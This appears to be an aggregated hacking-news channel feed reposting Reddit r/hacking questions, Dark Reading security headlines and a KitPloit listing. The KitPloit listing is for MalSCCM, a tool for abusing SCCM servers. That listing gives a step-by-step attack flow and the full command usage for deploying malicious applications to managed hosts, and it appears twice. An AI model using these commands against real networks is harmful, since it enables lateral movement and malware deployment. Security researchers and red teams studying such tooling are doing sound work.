Hacking on Medium
Investigadores descubren formas de descifrar el cifrado del servicio de almacenamiento en la nube…

https://cdn-images-1.medium.com/max/1375/0*vLCtpcTdMWAH603d
PUBLICADO EN 22 JUNIO, 2022PO EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for a mentor someone to guide me through from someone that knows nothing and learning python to a hacker

I know this is a longshot to find someone but it's worth the try

submitted by /u/OnlykidsAreAtheists
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Seeking imagery

I am giving what may very well amount to the most important presentation of my life and I am looking for your help.

I am looking for examples of non commercial drt boxes / imsi catchers / RF surveillance equipment / war driving gear, stuff mounted on poles, in backpacks, inside clothing.

Now a huge caviet... I know this community is filled with wickedly intelligent people, so please... If you're willing to assist me, think before you capture any imagery of your own personal work. I dont want anyone getting themselves into trouble.

All I can offer in return at this time is a future update as to what where and the results positive or negative of this presentation... and my continued respect for the members of this community, no matter what hat you wear.

Thanks for the eye time, bandwidth and consideration. Hoping you can help me out

submitted by /u/OldOwl_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
getting email back

How do I get a hacked email account back

submitted by /u/being_munene
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Explained: The Inverse Finance Hack (June 2022)

https://external-preview.redd.it/y9gpwE06cB5oADhOuic0x8MHNApn2dylGKwOYHLb_mE.jpg?width=320&crop=smart&auto=webp&s=a9924a9d7b6408f5635b2697994961df992502d7 submitted by /u/outlyingBurritos3805
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Curl.exe and .lnk attack

submitted by /u/sage2791
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to hack into digital advertising and change the image?

Asking purely hypothetically for a short story I am writing. But I would like to know if it's possible, with current tech to hack into a digital advertisement and replace it with an image created by the character.

submitted by /u/Buddy-Sattva
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
UNLEASH THE POWER OF SQL INJECTION! | Beginners Guide to Hacking with SQLi!

https://external-preview.redd.it/9DW4h0mGaZLthJlzMrve7TxrHpH4qx8YVA8OcI3P12c.jpg?width=320&crop=smart&auto=webp&s=ca20d31f7bc060345059720d8d62a53b3841cb66 submitted by /u/SecAura
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

MalSCCM - Tool To Abuse Local Or Remote SCCM Servers To Deploy Malicious Applications
http://www.kitploit.com/2022/06/malsccm-tool-to-abuse-local-or-remote.html

___________________________
@hacking_Attack
@Hacking_Video

This tool allows you to abuse local or remote (https://www.kitploit.com/search/label/Remote) SCCM servers to deploy malicious applications to hosts they manage. To use this tool your current process must have admin rights over the SCCM server. Typically deployments of SCCM will either have the management (https://www.kitploit.com/search/label/Management) server and the primary server on the same host, in which case the host returned from the locate command can be used as the primary server. If that is not the case you will need to compromise the management host returned with locate so that you can then run locate again on that host and get the primary server hostname. Once you have that and admin access (https://www.kitploit.com/search/label/Access) you are good to go!
Blog For more information on usage of the tool, refer to the blog below. https://labs.nettitude.com/blog/introducing-malsccm/ Credits Massive credit to PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which this is all based off, this would not have been done without the work of @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation. Attack Flow Compromise client, use locate to find management server Compromise management server, use locate to find primary server use Inspect on primary server to view who you can target Create a new device group for the machines you want to laterally move too Add your targets into the new group Create an application pointing to a malicious EXE on a world readable share Deploy the application to the target group Force the target group to checkin for updates Profit... Cleanup the application and deployment Delete the group Help menu . Attempt to find the SCCM management and primary servers: MalSCCM.exe locate Inspect the primary server to gather SCCM information: MalSCCM.exe inspect Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users: MalSCCM.exe group /create /groupname:example /grouptype:[user|device] MalSCCM.exe group /delete /groupname:example MalSCCM.exe group /addhost /groupname:example /host:examplehost MalSCCM.exe group /adduser /groupname:example /user:exampleuser Create/Deploy/Delete malicious applications: MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" MalSCCM.exe app /delete /name:appname MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 MalSCCM.exe app /deletedeploy /name:appname MalSCCM.exe app /cleanup /name:appname Force devices of a group to checkin within a couple minutes: MalSCCM.exe checkin /groupname:example '>Commands listed below have optional parameters in <>.

Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate

Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect

Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device]
MalSCCM.exe group /delete /groupname:example
MalSCCM.exe group /addhost /groupname:example /host:examplehost
MalSCCM.exe group /adduser /groupname:example /user:exampleuser

Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path""
MalSCCM.exe app /delete /name:appname
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2
MalSCCM.exe app /deletedeploy /name:appname
MalSCCM.exe app /cleanup /name:appname

Force devices of a group to checkin within a couple minutes:
MalSCCM.exe checkin /groupname:example


Download MalSCCM (https://github.com/nettitude/MalSCCM)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia's APT28 Launches Nuke-Themed Follina Exploit Campaign

Researchers have spotted the threat group, also known as Fancy Bear and Sofacy, using the Windows MSDT vulnerability to distribute information stealers to users in Ukraine.

Dark Reading: Attacks/Breaches
Neustar Security Services Launches Public UltraDNS Health Check Site

Open service generates free report detailing potential gaps in compliance, configuration, and security for a user’s multiple domain names.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Aqua Security Collaborates With Center for Internet Security to Create Guide for Software Supply Chain Security

In addition, Aqua Security unveiled a new open source tool, Chain-Bench, for auditing the software supply chain to ensure compliance with the new CIS guidelines.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft 365 Users in US Face Raging Spate of Attacks

A voicemail-themed phishing campaign is hitting specific industry verticals across the country, bent on scavenging credentials that can be used for a range of nefarious purposes.

Dark Reading: Attacks/Breaches
Synopsys Completes Acquisition of WhiteHat Security

Addition of WhiteHat Security provides Synopsys with SaaS capabilities and dynamic application security testing (DAST) technology.

___________________________
@hacking_Attack
@Hacking_Video